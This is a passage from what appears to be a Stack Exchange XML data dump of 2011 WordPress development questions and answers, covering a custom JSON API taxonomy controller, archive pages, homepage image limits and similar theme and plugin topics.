$posts&#xA;        );&#xA;    }&#xA;&#xA;    protected function add_taxonomies( $post ) {&#xA;        $taxonomies = get_object_taxonomies( $post-&amp;gt;type );&#xA;        foreach ($taxonomies as $tax) {&#xA;            $post-&amp;gt;$tax = array();&#xA;            $terms = wp_get_object_terms( $post-&amp;gt;id, $tax );&#xA;            foreach ( $terms as $term ) {&#xA;                $post-&amp;gt;{$tax}[] = $term-&amp;gt;name;&#xA;            }&#xA;        }&#xA;        return true;&#xA;    }&#xA;&#xA;    public function get_taxonomy_posts() {&#xA;        global $json_api;&#xA;        $taxonomy = $this-&amp;gt;get_current_taxonomy();&#xA;        if (!$taxonomy) {&#xA;            $json_api-&amp;gt;error(&quot;Not found.&quot;);&#xA;        }&#xA;        $term = $this-&amp;gt;get_current_term( $taxonomy );&#xA;        $posts = $json_api-&amp;gt;introspector-&amp;gt;get_posts(array(&#xA;                    'taxonomy' =&amp;gt; $taxonomy,&#xA;                    'term' =&amp;gt; $term-&amp;gt;slug&#xA;                ));&#xA;        foreach ($posts as $jpost) {&#xA;            $this-&amp;gt;add_taxonomies( $jpost );&#xA;        }&#xA;        return $this-&amp;gt;posts_object_result($posts, $taxonomy, $term);&#xA;    }&#xA;&#xA;    protected function get_current_taxonomy() {&#xA;        global $json_api;&#xA;        $taxonomy  = $json_api-&amp;gt;query-&amp;gt;get('taxonomy');&#xA;        if ( $taxonomy ) {&#xA;            return $taxonomy;&#xA;        } else {&#xA;            $json_api-&amp;gt;error(&quot;Include 'taxonomy' var in your request.&quot;);&#xA;        }&#xA;        return null;&#xA;    }&#xA;&#xA;    protected function get_current_term( $taxonomy=null ) {&#xA;        global $json_api;&#xA;        extract($json_api-&amp;gt;query-&amp;gt;get(array('id', 'slug', 'term_id', 'term_slug')));&#xA;        if ($id || $term_id) {&#xA;            if (!$id) {&#xA;                $id = $term_id;&#xA;            }&#xA;            return $this-&amp;gt;get_term_by_id($id, $taxonomy);&#xA;        } else if ($slug || $term_slug) {&#xA;            if (!$slug) {&#xA;                $slug = $term_slug;&#xA;            }&#xA;            return $this-&amp;gt;get_term_by_slug($slug, $taxonomy);&#xA;        } else {&#xA;            $json_api-&amp;gt;error(&quot;Include 'id' or 'slug' var for specifying term in your request.&quot;);&#xA;        }&#xA;        return null;&#xA;    }&#xA;&#xA;    protected function get_term_by_id($term_id, $taxonomy) {&#xA;        $term = get_term_by('id', $term_id, $taxonomy);&#xA;        if ( !$term ) return null;&#xA;        return new JSON_API_Term( $term );&#xA;    }&#xA;&#xA;    protected function get_term_by_slug($term_slug, $taxonomy) {&#xA;        $term = get_term_by('slug', $term_slug, $taxonomy);&#xA;        if ( !$term ) return null;&#xA;        return new JSON_API_Term( $term );&#xA;    }&#xA;&#xA;    protected function posts_object_result($posts, $taxonomy, $term) {&#xA;        global $wp_query;&#xA;        return array(&#xA;          'count' =&amp;gt; count($posts),&#xA;          'pages' =&amp;gt; (int) $wp_query-&amp;gt;max_num_pages,&#xA;          'taxonomy' =&amp;gt; $taxonomy,&#xA;          'term' =&amp;gt; $term,&#xA;          'posts' =&amp;gt; $posts&#xA;        );&#xA;    }&#xA;&#xA;}&#xA;&#xA;// Generic rewrite of JSON_API_Tag class to represent any term of any type of taxonomy in WP&#xA;class JSON_API_Term {&#xA;&#xA;  var $id;          // Integer&#xA;  var $slug;        // String&#xA;  var $title;       // String&#xA;  var $description; // String&#xA;&#xA;  function JSON_API_Term($term = null) {&#xA;    if ($term) {&#xA;      $this-&amp;gt;import_wp_object($term);&#xA;    }&#xA;  }&#xA;&#xA;  function import_wp_object($term) {&#xA;    $this-&amp;gt;id = (int) $term-&amp;gt;term_id;&#xA;    $this-&amp;gt;slug = $term-&amp;gt;slug;&#xA;    $this-&amp;gt;title = $term-&amp;gt;name;&#xA;    $this-&amp;gt;description = $term-&amp;gt;description;&#xA;    $this-&amp;gt;post_count = (int) $term-&amp;gt;count;&#xA;  }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now add following to your theme's functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add a custom controller&#xA;add_filter('json_api_controllers', 'add_my_controller');&#xA;function add_my_controller($controllers) {&#xA;  $controllers[] = 'Korkmaz';&#xA;  return $controllers;&#xA;}&#xA;&#xA;// Register the source file for our controller&#xA;add_filter('json_api_korkmaz_controller_path', 'korkmaz_controller_path');&#xA;function korkmaz_controller_path($default_path) {&#xA;  return get_stylesheet_directory() . '/korkmaz.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now goto Json API settings page and enable your korkmaz controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can access your custom post types with all of the associated taxonomies at the following url:&#xA;&lt;a href=&quot;http://example.com/api/korkmaz/get_recent_posts/?post_type=myposttype&quot; rel=&quot;nofollow&quot;&gt;http://example.com/api/korkmaz/get_recent_posts/?post_type=myposttype&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can query any type of taxonomy (including custom taxonomies) using the following example:&#xA;&lt;a href=&quot;http://example.com/api/korkmaz/get_taxonomy_posts/?taxonomy=my_custom_taxonomy&amp;amp;slug=my_term_slug&quot; rel=&quot;nofollow&quot;&gt;http://example.com/api/korkmaz/get_taxonomy_posts/?taxonomy=my_custom_taxonomy&amp;amp;slug=my_term_slug&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-26T07:48:05.840" LastActivityDate="2011-05-26T07:48:05.840" />
  <row Id="18201" PostTypeId="1" CreationDate="2011-05-25T07:24:56.247" Score="0" ViewCount="62" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-most-recent-posts-mod/&quot; rel=&quot;nofollow&quot;&gt;the &lt;em&gt;Advanced Most Recent Posts Mod&lt;/em&gt; plugin&lt;/a&gt; in WordPress. It shows a limited number of posts, but I want to show all of my posts with title and thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add a &quot;Next page&quot; or &quot;Show all&quot; option to this plugin? Or is there another plugin that would do what I want?&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T15:22:02.437" LastActivityDate="2011-05-27T15:22:02.437" Title="Recent posts widgets that shows all posts (with paging)?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;&lt;plugin-recommendation&gt;&lt;recent-posts&gt;" />
  <row Id="18202" PostTypeId="2" ParentId="18199" CreationDate="2011-05-25T07:34:57.403" Score="0" ViewCount="" Body="&lt;p&gt;If i read your question correctly then it has been answered on &lt;a href=&quot;http://stackoverflow.com/questions/4647604/wp-use-file-in-plugin-directory-as-custom-page-template&quot;&gt;&lt;strong&gt;stackoverflow&lt;/strong&gt;&lt;/a&gt;. The link covers creating custom page templates upon plugin activation and also covers template redirect hook.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-25T07:34:57.403" />
  <row Id="18203" PostTypeId="2" ParentId="18199" CreationDate="2011-05-25T07:41:08.387" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;template_include&lt;/code&gt; filter hook&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template_include','my_custom_search_template');&#xA;&#xA;function my_custom_search_template($template){&#xA;    global $wp_query;&#xA;    if (!$wp_query-&amp;gt;is_search)&#xA;        return $template&#xA;&#xA;    return dirname( __FILE__ ) . '/my_search_template.php';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-25T07:41:08.387" />
  <row Id="18204" PostTypeId="1" CreationDate="2011-03-08T12:58:32.967" Score="1" ViewCount="99" Body="&lt;p&gt;I've just installed Wordpress for a travel blog. I want the visitors to be able to comment with their facebook account or sign up as a subscriber to the blog (my mom for example doesn't have facebook).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the &quot;Facebook Comments for WordPress&quot; plugin but the problem is that now the visitors can either comment at the Facebook comments or the original comments. I want them to merge so that you comment in one place but you can either login to the blog or login to facebook to comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know if this is possible without me needing to develop?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-24T15:33:24.493" Title="Wordpress comments and Facebook comments" Tags="&lt;facebook&gt;&lt;comments&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="18205" PostTypeId="2" ParentId="18204" CreationDate="2011-03-09T01:13:29.880" Score="0" ViewCount="" Body="&lt;p&gt;I've used these two plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;http://wordpress.org/extend/plugins/disqus-comment-system/&quot; rel=&quot;nofollow&quot;&gt;Disqus Commenting Plugin&lt;/a&gt; - the easiest way to add facebook functionality to your wordpress blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They allow a whole host of features including facebook, twitter, google login/commenting and some other cool stuff. It will probably be more than you need but you might like the extras and the easy setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect Plugin:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is more targeted to facebook and allows a more piecemeal approach to adding functionality but is harder to integrate with your theme and setup.&lt;/p&gt;&#xA;" OwnerUserId="3811" LastActivityDate="2011-03-09T01:13:29.880" CommentCount="2" />
  <row Id="18206" PostTypeId="1" AcceptedAnswerId="18319" CreationDate="2011-05-25T08:17:10.527" Score="0" ViewCount="37" Body="&lt;p&gt;I want to create a custom archive page. It will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;January February March April May June... (Months)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May (Current Month)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Post 1&lt;/li&gt;&#xA;&lt;li&gt;Post 2&lt;/li&gt;&#xA;&lt;li&gt;Post 3 ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And clicked one of months (&lt;code&gt;is_month()&lt;/code&gt; page) it will be look like this  :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2011 (Selected Year)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;January February March April May June... (Months)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;April (Selected Month)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Post 1&lt;/li&gt;&#xA;&lt;li&gt;Post 2&lt;/li&gt;&#xA;&lt;li&gt;Post 3 ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried to solve this by using &lt;code&gt;wp_get_archives();&lt;/code&gt; but it's insufficient for this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got some ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress version is 3.1&lt;/p&gt;&#xA;" OwnerUserId="5671" LastEditorUserId="5671" LastEditorDisplayName="" LastEditDate="2011-05-26T12:48:08.960" LastActivityDate="2011-05-26T13:53:28.083" Title="Custom Archive Page" Tags="&lt;php&gt;&lt;archive&gt;&lt;templates&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18207" PostTypeId="2" ParentId="1059" CreationDate="2011-05-25T08:33:06.280" Score="1" ViewCount="" Body="&lt;p&gt;Yes WordPress is licensed using the GPL v2 license so you are &quot;free&quot; to do whatever you want to with it. The plugin Adminimize has an option for this&lt;/p&gt;&#xA;" OwnerUserId="5672" LastActivityDate="2011-05-25T08:33:06.280" />
  <row Id="18208" PostTypeId="1" CreationDate="2011-05-25T08:35:31.313" Score="0" ViewCount="32" Body="&lt;p&gt;If I go to my users page and click on a user I can edit their info or delete them. However, if I search for the user name and then try to edit or delete from the search results I get a blank page. Removing the usersearch GET parameter from the url fixes the problem... an example...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to users and search for &lt;code&gt;foo&lt;/code&gt; I find a result for user foo. If I click &lt;code&gt;edit&lt;/code&gt; I go to the following url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/wp-admin/user-edit.php?user_id=555&amp;amp;wp_http_referer=%2Fwp-admin%2Fusers.php%3Fusersearch%3Dfoo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an completely empty and blank page. If I simply click inside the URL bar and then hit return the correct page will load. Hitting refresh instead of actually clicking inside the URL bar will result in the same blank page, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What in the world could be going on here?&lt;/p&gt;&#xA;" OwnerUserId="4176" LastEditorUserId="4176" LastEditorDisplayName="" LastEditDate="2011-05-25T10:22:55.410" LastActivityDate="2011-05-25T10:22:55.410" Title="Cannot Delete a User After Finding them via Search" Tags="&lt;admin&gt;&lt;users&gt;&lt;deleted&gt;" CommentCount="7" />
  <row Id="18209" PostTypeId="1" CreationDate="2011-05-25T08:40:23.650" Score="3" ViewCount="49" Body="&lt;p&gt;I want to mark some posts to include them in a featured content slider. For that purpose, I want to include a check box on the new post page, so that if the checkbox is selected the post is marked as featured. Then I can display all marked posts in the slider. How this can be done? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5673" LastActivityDate="2011-05-25T15:31:19.670" Title="how to assign a status/mark to post?" Tags="&lt;post-status&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="18210" PostTypeId="1" CreationDate="2011-05-25T08:48:32.280" Score="0" ViewCount="60" Body="&lt;p&gt;I've been asked by my friend to recreate his travel site, CMS style, in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His layout is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home&lt;br&gt;&#xA;About Us&lt;br&gt;&#xA;-- Country landing page (with a featured tour, then links to the subpages below)&#xA;----- Tailor Made Tours landing page (landing page, then underneath, an overview of all tours in this country with &quot;read more&quot; links, each clicks thru to tour page) &lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;----- Group Tours landing page (landing page, hen underneath, an overview of all tours in this country with &quot;read more&quot; links, each clicks thru to tour page)&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;----- Special Interest Tours landing page (landing page, then underneath, an overview of all tours in this country with &quot;read more&quot; links, each clicks thru to tour page)&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;----- Hotels in this country landing page (landing page w/overview of all hotels in this country with &quot;read more&quot; links, each clicks thru to tour page)&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;--------- Individual Tour page&lt;br&gt;&#xA;Contact Us&lt;br&gt;&#xA;Request a Brochure&lt;br&gt;&#xA;Customer Care&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be about 10 countries each with subsections as above. Each landing page would list all the individual tour pages, with a thumbnail image and a link to take you to the corresponding tour page. The tour and hotel pages would need to be added by his staff via the Wordpress dashboard/cms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am only just familiarising myself with Wordpress development and this is the way I see it:&#xA;- each country landing page would be a static page with links to Group Tours, Special Interest Tours and Tailor made tours.&#xA;- each of those tour landing pages (Group Tours, Special Interest Tours and Tailor made tours) would list posts within a corresponding category, for example China &gt; Group tours would list all posts categorised under &quot;China group tours&quot;.&#xA;- This list would be formatted to include the tour posts' featured image and a link to read the full tour post&#xA;- Each tour page would be a post - it would have a dedicated layout with custom taxonomies for including things like price. It would have dedicated places for the cms user to assign photos.&#xA;- There would also be a category for &quot;China featured tour&quot; and the cms user could choose a tour for this category which would appear as the country landing page's featured tour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the simplest way to go about doing that?? As I said, new to wp development, this would actually be my first project.. so just trying to get peoples input about how i'd go about it??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual site is here: www.sanyachinatravel.com&lt;/p&gt;&#xA;" OwnerUserId="5674" LastActivityDate="2011-08-23T21:33:55.060" Title="My first WP development project - am I envisaging this right?" Tags="&lt;themes&gt;&lt;cms&gt;" AnswerCount="1" />
  <row Id="18211" PostTypeId="1" AcceptedAnswerId="18471" CreationDate="2011-05-25T08:51:06.677" Score="1" ViewCount="97" Body="&lt;p&gt;Is there a way to disable atom feed and have only rss feed? When I click on the RSS button on my Firefox, I am show 'subscribe to domaintitle using RSS feeds' and 'subscribe to domaintitle using atom feeds'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not use a plugin but rather a function.&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-27T15:08:34.340" Title="How to disable atom feed and only use RSS feed" Tags="&lt;rss&gt;" AnswerCount="2" />
  <row Id="18212" PostTypeId="2" ParentId="18210" CreationDate="2011-05-25T09:41:37.660" Score="0" ViewCount="" Body="&lt;p&gt;This looks like a job made for custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) custom post type of &quot;Countries&quot;&lt;br&gt;&#xA;2) taxonomies of &quot;Tailor Made Tours&quot;, &quot;Group Tours&quot;, &quot;Special Interest Tours&quot;, &quot;Hotels&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;More On Custom Post Types&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-25T09:41:37.660" CommentCount="1" />
  <row Id="18213" PostTypeId="1" CreationDate="2011-05-25T09:59:48.293" Score="0" ViewCount="43" Body="&lt;p&gt;I'm new using wordpress and have a little problem. In the Appearance tab, i've got :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Appearance&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Theme&lt;/li&gt;&#xA;&lt;li&gt;Widget&lt;/li&gt;&#xA;&lt;li&gt;Header&lt;/li&gt;&#xA;&lt;li&gt;Background&lt;/li&gt;&#xA;&lt;li&gt;Theme Options&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In &quot;Theme Options&quot;, I've got a page with several horizontal tabs, defined, most of them, in my-theme-&gt;lib-&gt;default-admin-options.php according to a tab :&#xA;Each select on the page, content, textarea in defined like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;admin_option('General',&#xA;        'Your Logo', 'logo', &#xA;        'imageupload', get_bloginfo('template_directory') . &quot;/images/logo.png&quot;, &#xA;        array('help' =&amp;gt; &quot;&quot;)&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create 2 tabs in this page (horizontal menu of the page &quot;Theme Option&quot;) near &quot;General&quot;, moving the content of the &quot;Background&quot; tab and &quot;Header&quot; tab ?&#xA;How can I do please ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope I am understandable.&#xA;Thanks for any answers.&lt;/p&gt;&#xA;" OwnerUserId="5675" LastActivityDate="2011-05-25T09:59:48.293" Title="Customize the dashboard : move &quot;background&quot; and &quot;header&quot; in Appearance to &quot;Theme Options&quot; in Appearance" Tags="&lt;themes&gt;&lt;php&gt;&lt;customization&gt;&lt;menus&gt;" />
  <row Id="18214" PostTypeId="1" AcceptedAnswerId="18228" CreationDate="2011-05-25T10:04:35.383" Score="1" ViewCount="26" Body="&lt;p&gt;How would I make my WordPress Comments Editable? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using an Ajax plugin that take them to another screen, but it's not as nice as I would like. For example, I just want it to re-open the initial comment box and allow them to edit their comment for at least 30 minutes after a post.&lt;/p&gt;&#xA;" OwnerUserId="4088" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T15:10:27.507" LastActivityDate="2011-05-27T15:12:07.270" Title="Making Comments Editable?" Tags="&lt;plugin-recommendation&gt;&lt;comments&gt;" AnswerCount="1" />
  <row Id="18215" PostTypeId="1" CreationDate="2011-05-25T10:16:17.723" Score="2" ViewCount="141" Body="&lt;p&gt;most of my post on wordpress got 6 or 5 images perpost. My problem is if I posted 5 new post with new images, it will be totall 25 images display on my homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to limit 1 image perpost on &quot;homepage only&quot;, the full content (lets say got total 6 images, it will be on single page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to do it??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or any Image excerpt plugin that can limit image on homepage?&lt;/p&gt;&#xA;" OwnerUserId="5676" LastActivityDate="2011-05-25T10:47:11.500" Title="How to limit 1 image per post on homepage only?" Tags="&lt;plugins&gt;&lt;images&gt;&lt;image&gt;&lt;excerpt&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18217" PostTypeId="2" ParentId="18215" CreationDate="2011-05-25T10:35:38.023" Score="1" ViewCount="" Body="&lt;p&gt;I use this inside your themes functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// function (image toolbox) for all images&#xA; function attachment_toolbox($size = thumbnail) { &#xA;&#xA;if($images = get_children(array(&#xA;    'post_parent'    =&amp;gt; get_the_ID(),&#xA;    'post_type'      =&amp;gt; 'attachment',&#xA;    'numberposts'    =&amp;gt; 1, // show all images is -1&#xA;    'post_status'    =&amp;gt; null,&#xA;    'post_mime_type' =&amp;gt; 'image',&#xA;))) {&#xA;    foreach($images as $image) {&#xA;        $attimg   = wp_get_attachment_image($image-&amp;gt;ID,$size);&#xA;&#xA;        $postlink = get_permalink($image-&amp;gt;post_parent);&#xA;&#xA;&#xA;        echo '&amp;lt;a href=&quot;'.$postlink.'&quot;&amp;gt;'.$attimg.'&amp;lt;/a&amp;gt;';&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and call it inside your loop with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;around_image&quot;&amp;gt; &#xA;  &amp;lt;?php attachment_toolbox('medium'); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- / around_image --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thats straight out of my site im working on right now, change &quot;medium&quot; to the size of the pic you want, &quot;thumbnail&quot;, &quot;medium&quot;, &quot;large&quot; or &quot;full_size&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for more info &lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;go here&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-05-25T10:47:11.500" LastActivityDate="2011-05-25T10:47:11.500" />
  <row Id="18218" PostTypeId="2" ParentId="18215" CreationDate="2011-05-25T10:40:58.350" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;/**&#xA; * @author: wpreceipes&#xA; * @link: [1]: http://www.wprecipes.com/how-to-get-the-first-image-from-the-post-and-display-it&#xA; */&#xA;function wpse18215_catch_that_image() &#xA;{&#xA;    global $post, $posts;&#xA;    $first_img = '';&#xA;    ob_start();&#xA;    ob_end_clean();&#xA;    $output = preg_match_all( '/&amp;lt;img.+src=[\'&quot;]([^\'&quot;]+)[\'&quot;].*&amp;gt;/i', $post-&amp;gt;post_content, $matches );&#xA;    $first_img = $matches[1][0];&#xA;&#xA;    //Defines a default image&#xA;    if( empty( $first_img ) )&#xA;    { &#xA;        $first_img = '/images/default.jpg';&#xA;    }&#xA;    return $first_img;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo catch_that_image();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @author: Marcelo Mesquita&#xA; * @link: http://marcelomesquita.com/&#xA; * @param (string) $size - valid: 'thumbnail', 'medium', 'large' or 'full_size'&#xA; * @param (string) $add - any additional attributes for the html-img tag&#xA; */&#xA;function wpse18215_the_thumb( $size = 'medium', $add = '' )&#xA;{&#xA;    global $wpdb, $post;&#xA;&#xA;    $thumb = $wpdb-&amp;gt;get_row( &#xA;        &quot;SELECT ID, &#xA;         post_title &#xA;         FROM {$wpdb-&amp;gt;posts} &#xA;         WHERE post_parent = {$post-&amp;gt;ID} &#xA;         AND post_mime_type &#xA;         LIKE 'image%' &#xA;         ORDER BY menu_order&quot;&#xA;    );&#xA;&#xA;    if( ! empty( $thumb ) )&#xA;    {&#xA;        $image = image_downsize( $thumb-&amp;gt;ID, $size );&#xA;        return &quot;&amp;lt;img src='{$image[0]}' alt='{$thumb-&amp;gt;post_title}' {$add} /&amp;gt;&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example:&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo wpse18215_the_thumb( 'medium', 'class=&quot;alignleft&quot; width=&quot;200&quot; height=&quot;175&quot;' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You need to wrap the call anyway inside your template into a conditional statement:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ( is_home() || is_front_page() ) { /* place the function call here */ }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-25T10:40:58.350" CommentCount="2" />
  <row Id="18219" PostTypeId="1" AcceptedAnswerId="18221" CreationDate="2011-05-25T10:42:05.730" Score="2" ViewCount="49" Body="&lt;p&gt;I have combination of valid input with native WP function throwing PHP notice. In this specific case it is image without extension with &lt;code&gt;image_resize()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is usually suppressed by WP, but it still has me worried because it runs in feed and such things can explode XML to pieces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can neither change core or input then what should I do? I suppose I could try to explicitly suppress error output around there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I just ignore the possibility as edge case?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-27T14:49:47.657" Title="How to handle core code throwing notice on valid input?" Tags="&lt;errors&gt;&lt;image-resize&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="18220" PostTypeId="1" AcceptedAnswerId="18239" CreationDate="2011-05-25T10:43:14.383" Score="1" ViewCount="153" Body="&lt;p&gt;I want to write a plugin so I can hook up the &lt;code&gt;wp_install_defaults&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually need to do the following: when a new site is created, I want to import a default XML file with some categories and default posts. &lt;code&gt;wp_install_defaults&lt;/code&gt; is the function that does that, but it doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't &lt;code&gt;wp_install_defaults&lt;/code&gt; hook-able?&lt;/p&gt;&#xA;" OwnerUserId="5677" LastActivityDate="2011-05-25T14:44:30.160" Title="Hook up MU site creation" Tags="&lt;multisite&gt;&lt;hooks&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18221" PostTypeId="2" ParentId="18219" CreationDate="2011-05-25T10:48:12.840" Score="1" ViewCount="" Body="&lt;p&gt;Simply use the &lt;code&gt;@&lt;/code&gt; operator in front of a function to suppress an error message/notice/whatever. Fun as it is: Even the &lt;code&gt;image_resize()&lt;/code&gt; function uses it for &lt;code&gt;chmod&lt;/code&gt;. :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-25T10:48:12.840" />
